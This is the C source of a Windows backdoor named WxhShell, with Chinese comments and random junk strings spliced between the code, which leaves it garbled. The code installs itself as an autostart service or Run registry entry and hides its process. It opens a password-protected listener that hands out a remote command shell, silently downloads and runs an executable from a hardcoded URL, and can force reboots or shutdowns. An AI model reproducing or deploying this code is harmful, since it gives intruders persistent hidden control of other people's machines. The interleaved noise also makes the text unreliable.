L [ rQMD^:M$ PROCNTQSIP NtQueryInformationProcess; }#yU'#|d C=N!z static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^Xs%.`Gv/ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )|y#OZHR fyM3UA\U HANDLE hProcess; &Nc[$H7< PROCESS_BASIC_INFORMATION pbi; wgY6D!Y 9p<:=T HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [34zh="o if(NULL == hInst ) return 0; 1ZT^)/ G Wrmgu}q g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3A-*vaySV g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]SFWt/< NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pw@`}cM= ]\A1mw-T if (!NtQueryInformationProcess) return 0; w#*/ y?"D m8'@UzB hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bb|}' if(!hProcess) return 0; >s&XX,
w >n]oB~P% if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /"=29sWB Bk,2WtVX CloseHandle(hProcess); q 75ky1^1: (tepmcf hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s(t eQ\ if(hProcess==NULL) return 0; p-.Ri^p NX?}{'f HMODULE hMod; 5XDgs|8 char procName[255]; ?TDvCL unsigned long cbNeeded; :^n*V6.4 YWEYHr;%^? if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6`acg'sk> o`idg[l. CloseHandle(hProcess); rfYP*QQY (~h7rAEc if(strstr(procName,"services")) return 1; // 以服务启动 BU`ckK\( )X/*($SuA return 0; // 注册表启动 vX ?aB!nkw } _=pWG^a KyT uF // 主模块 iHPUmTus-- int StartWxhshell(LPSTR lpCmdLine) Z a!
gbt { `19qq] SOCKET wsl; U_]=E<el BOOL val=TRUE; Hb+X}7c$ int port=0; E Zi &] struct sockaddr_in door; G~"z_ ( j1/+\8Y if(wscfg.ws_autoins) Install(); h\(B#SN 6
Ew@L<v port=atoi(lpCmdLine); RT,:hH a"x}b if(port<=0) port=wscfg.ws_port; bl=ku<}@ GMl"{Oxo& WSADATA data; H<g 1m if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /jM_mrpz i0>]CJG if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !$_~x
8K1- setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?\ZL#)hr"p door.sin_family = AF_INET; yNBv-oe5 door.sin_addr.s_addr = inet_addr("127.0.0.1"); <:">mV+/ door.sin_port = htons(port); =~&VdPZ )>V?+L5M if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;+a2\j+ closesocket(wsl); msiu8E return 1; !}_b| } EkjgNEXq V43TO if(listen(wsl,2) == INVALID_SOCKET) { uAUp5XP|Z closesocket(wsl); S`0NPGn;@[ return 1; 28a$NP\KW } sf$o(^P9\A Wxhshell(wsl); #AShbl jm+ WSACleanup(); \Wr,<Y }9^@5!qX return 0; {{\ce;hN cMaOM}mS } 7\Co`J>p2 ,[* ;UR // 以NT服务方式启动 \w%@?Qik VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "N 3)Qr { J? .F\`N) DWORD status = 0; Zyu/|Og DWORD specificError = 0xfffffff; wPX*%0] 8#w)X/ serviceStatus.dwServiceType = SERVICE_WIN32; 7b, (\Fm serviceStatus.dwCurrentState = SERVICE_START_PENDING; ZIDbqQu serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _|A+) K serviceStatus.dwWin32ExitCode = 0; {]^O:i" serviceStatus.dwServiceSpecificExitCode = 0; /,2rjJ#b serviceStatus.dwCheckPoint = 0; ;'0=T0\ serviceStatus.dwWaitHint = 0; D/CIA8h3 X%4Kj[I^ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [*Uu#9 if (hServiceStatusHandle==0) return; ~W-cGb3c 5!(?m~jJ status = GetLastError(); B2Z_]q$n* if (status!=NO_ERROR) !X]8dyW { >&Y-u%}U serviceStatus.dwCurrentState = SERVICE_STOPPED; U<^F4*G serviceStatus.dwCheckPoint = 0; U\zD,<I9 serviceStatus.dwWaitHint = 0; X:|8vS+0gU serviceStatus.dwWin32ExitCode = status; }gv8au< serviceStatus.dwServiceSpecificExitCode = specificError; W3GNA""O SetServiceStatus(hServiceStatusHandle, &serviceStatus); VL\t>n return; q9]IIv } /&^W#U$4 V
kjuyK serviceStatus.dwCurrentState = SERVICE_RUNNING; 9AQxNbs serviceStatus.dwCheckPoint = 0; =n+ \\D serviceStatus.dwWaitHint = 0; eTbg7"waA if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mV)+qXC } JeCg|@ ]Y`Ib0$ // 处理NT服务事件,比如:启动、停止 D d,2;#_ VOID WINAPI NTServiceHandler(DWORD fdwControl) 5)UQWnd5 { ;wHCj$q switch(fdwControl) l1'6cLT` { 3I $>uR case SERVICE_CONTROL_STOP: 9t$]X>} serviceStatus.dwWin32ExitCode = 0; %%JMb=!%2 serviceStatus.dwCurrentState = SERVICE_STOPPED; ++jAz<46 serviceStatus.dwCheckPoint = 0; }Wh6zT) serviceStatus.dwWaitHint = 0; KC#/Z2A|< { ^5; `-Ky SetServiceStatus(hServiceStatusHandle, &serviceStatus); />44]A< } {A:j[ return; 69G`2_eKCp case SERVICE_CONTROL_PAUSE: 'xE
_Cj serviceStatus.dwCurrentState = SERVICE_PAUSED; S1S;F9F break; C\*4q8( case SERVICE_CONTROL_CONTINUE: <hx+wrv serviceStatus.dwCurrentState = SERVICE_RUNNING; !EIjN
break; }4//@J?: case SERVICE_CONTROL_INTERROGATE: y3G
`> break; F?-R$<Cn2~ }; 7.g[SBUOG SetServiceStatus(hServiceStatusHandle, &serviceStatus); <RNJ>>0 } _O"mfXl6 ,Lr<)p // 标准应用程序主函数 bm% $86 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N!2Rl { vVl; | m3<+yz$!r // 获取操作系统版本 T r0B[QF OsIsNt=GetOsVer(); Qnd5X`jF# GetModuleFileName(NULL,ExeFile,MAX_PATH); =#gEB#$x: A:l@_*C.. // 从命令行安装 u8GMUN if(strpbrk(lpCmdLine,"iI")) Install(); Xx:F)A8O j _L@U2i // 下载执行文件 6/V3.UP- if(wscfg.ws_downexe) { kn"(mJe$ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !V2/A1? WinExec(wscfg.ws_filenam,SW_HIDE); E.|-?xQ6 } -#!x|ne D,qu-k[jMI if(!OsIsNt) { rE9I>|tX // 如果时win9x,隐藏进程并且设置为注册表启动 1K,1X(0rL8 HideProc(); }v:jncp StartWxhshell(lpCmdLine); L@`ouQ"sa } :0& X^]\ else ^j#rZ;uc
if(StartFromService()) YW u cvw& // 以服务方式启动 ^V$Ajt StartServiceCtrlDispatcher(DispatchTable); Urr#N else o*U]v
// 普通方式启动 )q7UxzE+ StartWxhshell(lpCmdLine); )XcOl7XLN <\kr1qHH return 0; tyaA\F57 } iY"l}.7) >h0-; U!U$x74D5 hW!)w =========================================== gUyR_5q)8l oy<WsbnS "HE^v_p ~/.7l8) g1t0l%_7^ 3U_2! zF3_ " yR(x+Gs{] k'0Pi6 #include <stdio.h> C z\Pp q #include <string.h> g=I8@m #include <windows.h> E@7J:|.)R #include <winsock2.h> ,#pXpAz/ #include <winsvc.h> 0RoU}r@z4 #include <urlmon.h> ^Q+g({
/0Ax*919j #pragma comment (lib, "Ws2_32.lib") c("_bOAT #pragma comment (lib, "urlmon.lib") pAT7)Ch
[jmd #define MAX_USER 100 // 最大客户端连接数 9k{PBAP #define BUF_SOCK 200 // sock buffer D_vbSF) #define KEY_BUFF 255 // 输入 buffer eq UME l\C.",CEcc #define REBOOT 0 // 重启 Yk=PS[f #define SHUTDOWN 1 // 关机 >,td(= : _4g.j #define DEF_PORT 5000 // 监听端口 YpqrZWvh w K}T`*k #define REG_LEN 16 // 注册表键长度 s_mS^`P7 #define SVC_LEN 80 // NT服务名长度 fk&8]tK4 z*-2.}&U< // 从dll定义API irfp!(r typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BqT y~{)+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wp&=$Aa)' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {E@Lft- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >D4#y M]J^N# // wxhshell配置信息 x@[rms
struct WSCFG { vd[0X; int ws_port; // 监听端口 9gmW&{6q char ws_passstr[REG_LEN]; // 口令 Om5Y|v"* int ws_autoins; // 安装标记, 1=yes 0=no ajEjZ6 char ws_regname[REG_LEN]; // 注册表键名 adR)Uq9 char ws_svcname[REG_LEN]; // 服务名 P09;ng67 char ws_svcdisp[SVC_LEN]; // 服务显示名 U[ 0=L`0e char ws_svcdesc[SVC_LEN]; // 服务描述信息 k=jk`c{<[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /#)/; int ws_downexe; // 下载执行标记, 1=yes 0=no J|qZ+A[z char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qHrc9fB char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oaIi2=Tf :s7m4!EF }; V)[@98T_4? IhVO@KJI // default Wxhshell configuration l`f/4vy struct WSCFG wscfg={DEF_PORT, 6V7B;tB "xuhuanlingzhe", N(Fp0 1, bAx-"Lu "Wxhshell", ,)vDeU "Wxhshell", 75XJL;W # "WxhShell Service", ?B2] -+Y "Wrsky Windows CmdShell Service", ]7Tkkw$ "Please Input Your Password: ", iT2B'QI=< 1, KbA?7^zo` "http://www.wrsky.com/wxhshell.exe",
zem8G2#c "Wxhshell.exe" ~f$|HP} }; \1^^\G>H5 Bu#VMkchJ // 消息定义模块 K/IWH[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a,k>Q` char *msg_ws_prompt="\n\r? for help\n\r#>"; PoG-Rqe char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n>BkTaI char *msg_ws_ext="\n\rExit."; {xXsBh
Y char *msg_ws_end="\n\rQuit."; Y 0d<~* char *msg_ws_boot="\n\rReboot..."; _V7s#_p char *msg_ws_poff="\n\rShutdown..."; >7jbgHB char *msg_ws_down="\n\rSave to "; (|klSz_4LM
<G|(|E1 char *msg_ws_err="\n\rErr!"; /|C* char *msg_ws_ok="\n\rOK!"; (nf~x tX_R_]v3 char ExeFile[MAX_PATH]; Lr$go6s int nUser = 0; 5z7U1: HANDLE handles[MAX_USER]; bDL,S?@ int OsIsNt; v0z5j6)-1 "s0)rqf< SERVICE_STATUS serviceStatus; =;Rtdy/Yn% SERVICE_STATUS_HANDLE hServiceStatusHandle; <m)$K K|zZS%?$ // 函数声明 ;z}i-cNae int Install(void); +B B@OW int Uninstall(void); ?XrQ53 int DownloadFile(char *sURL, SOCKET wsh); 8']M^|1 int Boot(int flag); $'BSH4~|. void HideProc(void); $rv8K j+ int GetOsVer(void); 7}f}$1
int Wxhshell(SOCKET wsl); V58wU:li void TalkWithClient(void *cs); [^Os kJ4 int CmdShell(SOCKET sock); /uPcXq:L~ int StartFromService(void); l{I6&^!KS int StartWxhshell(LPSTR lpCmdLine); 3er nTD*` g!@<n1 L VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T!+5[ VOID WINAPI NTServiceHandler( DWORD fdwControl ); qE&v ; #lmB
AL~3 // 数据结构和表定义 gd%NkxmW SERVICE_TABLE_ENTRY DispatchTable[] = '\Giv!> { K1mPr^3rC {wscfg.ws_svcname, NTServiceMain}, S%bCyK%p {NULL, NULL} (G zb }; +T|JK7 .k,1f*% // 自我安装 MLw7}[ int Install(void) Dv| #u|iw { Zn&,
t &z char svExeFile[MAX_PATH]; Sj]T
HKEY key; fkuLj%R strcpy(svExeFile,ExeFile); B~ ]k#Ot) m+`fn;* // 如果是win9x系统,修改注册表设为自启动 Rp.Sj{<2 if(!OsIsNt) { jN{Xfjmfv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *7CV^mDm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +o\:d1y RegCloseKey(key); od IV:( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5b*M*e&=C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .>=(' - RegCloseKey(key); Dd'm U return 0; rM`X?>iT+ } 9>l*lCA } "@%7 -nu } g[1gF& else { M2
,YsHt
`z{%(_+[ // 如果是NT以上系统,安装为系统服务 )m`<H>[Eb= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &~8oQC-eF if (schSCManager!=0) S?> HD| Z { f[@77m* SC_HANDLE schService = CreateService 0"kbrv2y ( >"|B9Woc schSCManager, (61EDKNd9 wscfg.ws_svcname, d ^^bke$~ wscfg.ws_svcdisp, 9{RB{<Se! SERVICE_ALL_ACCESS, < vL,*.zd SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &+cEV6vb+ SERVICE_AUTO_START, ^Y=\#-Dd SERVICE_ERROR_NORMAL, p2ogn}` svExeFile, Wi*.TWz3 NULL, {9?Jj A NULL, LgKaPg$ NULL, c9HrMgW NULL, Jy)KqdkX+ NULL kO,zZF& ); )k\H@Dy%$ if (schService!=0) mkYqpD7 { tmv&U;0Z CloseServiceHandle(schService); /JFUU[W CloseServiceHandle(schSCManager); YUx.BZf7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \?Z{hmN strcat(svExeFile,wscfg.ws_svcname); oI=fx Sjd if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0O9Ni='Tn RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |%J {RA RegCloseKey(key); eFaO7mz5V% return 0; =7w\
7-.m } d@ i}-; } IEXt: CloseServiceHandle(schSCManager); T;L>;E>B } }RzWJ@QD< } uEktQ_u[ _oHNkKQ return 1; )we}6sE" } hM;lp1l { &"CH]r // 自我卸载 U>cV| int Uninstall(void) &^#VN%{ { -&3hEv5 HKEY key; =-8bsV/l Jll-`b 1 if(!OsIsNt) { J&M
o%"[) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "Q!(52_@J RegDeleteValue(key,wscfg.ws_regname); $"FQj4%d RegCloseKey(key); '^No)n\` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?)kG A$m# RegDeleteValue(key,wscfg.ws_regname); gu0j.XS^ RegCloseKey(key); G_0(
|% return 0; +Af"f' ) } %/|9@e r } yKa{08X: } M-1ngI0H; else { r[BVvX/,F qv]}$WU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4x if (schSCManager!=0) mS^tX i5hg { Kla'lCZ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Yzh"1|O if (schService!=0) @)|C/oA { .!f$
\1l if(DeleteService(schService)!=0) { *v9 2 CloseServiceHandle(schService); K('hC)1 CloseServiceHandle(schSCManager); g;2?F[8Th return 0; CDP
U\ZG } _a6[{_Pc CloseServiceHandle(schService); +89*)pk } :-/M?,Q" CloseServiceHandle(schSCManager); 8,C*4y~ } ;_rF;9z9 } \Ta"}TF8 P*FMwrJj>r return 1; fA+,TEB~d } /J=v]<87a d@5[B0eH // 从指定url下载文件 DNr@u/>vB int DownloadFile(char *sURL, SOCKET wsh) GBRa.;Kk { 1JztFix HRESULT hr; aX5
z&r:{ char seps[]= "/"; 5]AC*2( char *token; #vti+A~n,4 char *file; %= fHu+ char myURL[MAX_PATH]; yXHUJgjl/ char myFILE[MAX_PATH]; ?QFpv#4 wVEm:/;z& strcpy(myURL,sURL); AaWs}M token=strtok(myURL,seps); ioYGZ%RG# while(token!=NULL) !bN*\c { X*{2[+<o file=token; _$
+^q- token=strtok(NULL,seps); |4B:<x } <Bw^!.jAF X!9 B2w GetCurrentDirectory(MAX_PATH,myFILE); #,":vr strcat(myFILE, "\\"); j$?{\iXZ strcat(myFILE, file); C-\S/yd send(wsh,myFILE,strlen(myFILE),0); ;<j0f~G` send(wsh,"...",3,0); yCVI\y\B hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @~YYD#'vNY if(hr==S_OK) \$*7 >`k return 0; ]x(e&fyHB else
|8My42yf return 1; rA%usaW -o$QS, } `f*Q$Ulqx #a'Ex=%rM // 系统电源模块 v(ZYS']d2 int Boot(int flag) tjdaaN#,V { q|!-0B@ HANDLE hToken; =;2%a( TOKEN_PRIVILEGES tkp; 0yuS3VY) <vONmE a if(OsIsNt) { O(D~_O. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _qw?@478 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -f% ' tkp.PrivilegeCount = 1; q*_/to tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %oZ6l* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 925|bX6I if(flag==REBOOT) { }BZ"S-hZ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]yK7PH-{L return 0; BG6B : } OY;*zk else { Gd-'Z_ b if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <<+\X:, return 0; G Uon/G8 } "4riSxEyF } j4jTSLQ\ else { =g9*UzA"O if(flag==REBOOT) { |=`~-i2W if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /aZ+T5O return 0; VUPXO } "alyfyBu'M else { x4;"!Kq\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?[g=F <r return 0; "Zl5< } 5ni~Q 9b } T
6)bD& b{L/4bu return 1; r:f[mk"-"A } S-
pV_Ff K/i*w<aPb7 // win9x进程隐藏模块 `6lr4Kk @R void HideProc(void) V^3L3|k { ]xRM&=)< \m(VdE HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K{|p~B if ( hKernel != NULL ) 2R;}y7{ { @D{KdyW pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PsnWWj?c ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @k,z:~[C= FreeLibrary(hKernel); /Z~<CbKKl } :S<f?*
}: iV'k}rXC return; iBF|&h(\ } OSs&r$ 9$cWU_q{ // 获取操作系统版本 DI:]GED"= int GetOsVer(void) Si8pzd { ,]46I.] OSVERSIONINFO winfo; ABQ('#78 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $*e2YQdLo GetVersionEx(&winfo); (7*%K&x if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1_9<3,7 return 1; z\K"Rg~J else
^
DaBz\ return 0; s/$?^qtyC } kD=WO4} * @ 3Ag( // 客户端句柄模块 O(fM?4w int Wxhshell(SOCKET wsl) 6 :b!F { w65K[l;2 SOCKET wsh; 11o.c; struct sockaddr_in client; ;LcZ`1 DWORD myID; z@!`:'ak J!c)s!`w while(nUser<MAX_USER) BXtCSfY$ { pMw*9sX int nSize=sizeof(client); S\:P-&dC wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 01wX `"I if(wsh==INVALID_SOCKET) return 1; |2O]R s 4 ezEW|S handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \UPjf]& if(handles[nUser]==0) s'!Cp=xQF" closesocket(wsh); BmbyH{4 else wjHzE
nUser++; k.uH~S _ } a=J^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mWoAO@}Y "|EM;o return 0; $Q &lSVQ } K'L^;z6 r+A{JHnN // 关闭 socket Vc 1\i void CloseIt(SOCKET wsh) 00(on28b { cr%"$1sY; closesocket(wsh); e|)hG8FlF nUser--; CyJEY- ExitThread(0); 95ZyP! } ni.cTOSx nCUg,;_= // 客户端请求句柄 v[
.cd*b void TalkWithClient(void *cs) %'bM){ { /a{la8Ni * aN SOCKET wsh=(SOCKET)cs; ,k24w7K%d char pwd[SVC_LEN]; V3&RJ k=b char cmd[KEY_BUFF]; ]] !VK char chr[1]; ). <-X^@ int i,j; qraSRK5 gH$ Mr while (nUser < MAX_USER) { _GV:HOBi 6V$Avg\6\ if(wscfg.ws_passstr) { N(;1o.~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ND'E8Ke pq //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BL0 {HV! //ZeroMemory(pwd,KEY_BUFF); caIL&G, i=0; Z-^LKe while(i<SVC_LEN) { Y1OCLnK~ (7vF/7BZ|_ // 设置超时 HHA<IZ#;, fd_set FdRead; 52%2R]G! struct timeval TimeOut; vmU@^2JSJ FD_ZERO(&FdRead); Z?6%;n^ 54 FD_SET(wsh,&FdRead); @3) (BpFe TimeOut.tv_sec=8; #*D)Q/k TimeOut.tv_usec=0; =b%MXT int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .k#U]M
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >=qf/K+# }u\])I3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $:8x(&+/@ pwd=chr[0]; V\>K]mwD if(chr[0]==0xd || chr[0]==0xa) { 1ct;A_48 pwd=0; /$i.0$L
break; <NR#Y%}-V } bfFeBBi i++; zZ7;jyD } B~6&{7xc% J*r*X. // 如果是非法用户,关闭 socket uW=k K0E if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2a-w%
(K } ^UciW !02`t4Zc- send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ok|*!!T send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i5en*)O8 @D.}\( while(1) { lAS#874dE ];VA!++ ZeroMemory(cmd,KEY_BUFF); ]GMe\n jfP*"uUK // 自动支持客户端 telnet标准 5-|:^hU9 j=0;
Us)Z^s while(j<KEY_BUFF) { 8LyD7P1\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R]vV* cmd[j]=chr[0]; KxI&G%z if(chr[0]==0xa || chr[0]==0xd) {
DH[p\Wy' cmd[j]=0; mi=Q{>rb break; iNWw;_|1 } :WjpzgPuN j++; -c_74c50 } viW!,QQ(S ({
8-* // 下载文件 Ar%%}Gx/ if(strstr(cmd,"http://")) { 'vVQg send(wsh,msg_ws_down,strlen(msg_ws_down),0); bENdMH"; if(DownloadFile(cmd,wsh)) bZ?v-fn\D, send(wsh,msg_ws_err,strlen(msg_ws_err),0); +M./@U*g else c#XXp"7k2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &x=.$76 } HeK/7IAqp else { [/,) 8{|8G-Mi switch(cmd[0]) { 0Be<X )s)I2Z+ // 帮助 4qphA9i1 case '?': { h(<,fg1 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /vY(o1o
x break; _- [''(E } o906/5M // 安装 xN>npP
case 'i': { GX)u|g if(Install()) w~.f send(wsh,msg_ws_err,strlen(msg_ws_err),0); wa(8Hl|Y else '@cANGg7[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kj|6iG break; 8|b3j^u } 2;[D;Y} // 卸载 Kc!}`Pm case 'r': { }wWKFX if(Uninstall()) QgrpBG send(wsh,msg_ws_err,strlen(msg_ws_err),0); \n" {qfn`r else j>*S5y.{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =4vy@7/ break; 8&;UO{ } b
IH; // 显示 wxhshell 所在路径 a:+{f& case 'p': { &qLf@1AD char svExeFile[MAX_PATH]; 3T31kQv{ strcpy(svExeFile,"\n\r"); xqXo0
strcat(svExeFile,ExeFile); \K_ET> ! send(wsh,svExeFile,strlen(svExeFile),0); z(o,m3@v break; O ~(pg } -B>++r2A^ // 重启 214Ml0/% case 'b': {
,ZKr.`B send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LZ\q37UV if(Boot(REBOOT)) }xKP~h'F send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,368d9,rDz else { fr,7rS/w{l closesocket(wsh); 7wWFr ExitThread(0); =AsEZ)" _ } rJd,Rdt. break; NnO~dRx{ } G=)i{oC // 关机 E^Y#&skXp3 case 'd': { #:%&x@@c3P send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {qDSPo if(Boot(SHUTDOWN)) jy7\+i send(wsh,msg_ws_err,strlen(msg_ws_err),0); VJ84?b{c
W else { y9_V closesocket(wsh); ~aw.(A?MI ExitThread(0); 6f;fx}y } 3yANv?$a break; -1Jg?cPzk } +O'3|M // 获取shell gwNq
x" case 's': { z_g~ CmdShell(wsh); ^m
L@e'r closesocket(wsh); OL5v).Bb ExitThread(0); 4p e'06: break; YW-usvl& } JgG$?n\ // 退出 (As#^q\>B case 'x': { U6=..K!q send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L%">iQOG# CloseIt(wsh); ;g8R4!J break; z,|r*\dw } eeIhed9
// 离开 H/,gro case 'q': { AUeu1(
send(wsh,msg_ws_end,strlen(msg_ws_end),0); M=.:,wRm closesocket(wsh); u,F nAh?" WSACleanup(); 7ByTnYe~S exit(1); jNe`;o break; k-Q%.o } XttqOf } WegtyO } ^<;V]cY` Y_}mYvJW // 提示信息 Pf*^ZB% if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gHhh>FFAq } a5 *2h{i } X7[^s
$VK H|,Oswk~- return; syk!7zfK } L}GC<D: u?>B)PW // shell模块句柄 zs%Hb48V int CmdShell(SOCKET sock)
(]_ 1 { qNI,
62 STARTUPINFO si; `IOs-%s ZeroMemory(&si,sizeof(si)); e'~Zo9`r6 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r~+\
Y"rM si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [FK<96.nt PROCESS_INFORMATION ProcessInfo; kR]!Vr*yh char cmdline[]="cmd"; pp.6Ex
(R CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jlp:lX return 0; np%\&CVhN } (&&4J{`W9 MWI4Y@1bS // 自身启动模式 ;`l'2
z@N int StartFromService(void) |"XPp!_uN { .udv"?!z typedef struct >:zK?(qu,N { h\7fp. DWORD ExitStatus; 7uT:b!^f[ DWORD PebBaseAddress; <F'X<Bau DWORD AffinityMask; xO1[>W DWORD BasePriority; 1mfs4 ULONG UniqueProcessId; e2z h&j ULONG InheritedFromUniqueProcessId; Q9Uf.Lh2 } PROCESS_BASIC_INFORMATION; HQ|MhM/" L,SGT8lL PROCNTQSIP NtQueryInformationProcess; jAy^J(+ 0ge$ p, static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rm4.aO~-F static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?|WoIV. N+LL@[ HANDLE hProcess; baJxU:Y=p PROCESS_BASIC_INFORMATION pbi; |l&vkRrN \ {qI4= HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7@Zx@ if(NULL == hInst ) return 0; )'/|) vohoLeJTj g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RletL) g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w^L ta NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); smdZxFl XO-Prs if (!NtQueryInformationProcess) return 0; TT50(_8 s
<
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZiYm:$CJ if(!hProcess) return 0; v^)bhIPe; D'L'#/hK if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; } X^|$ NZP.0coY CloseHandle(hProcess);
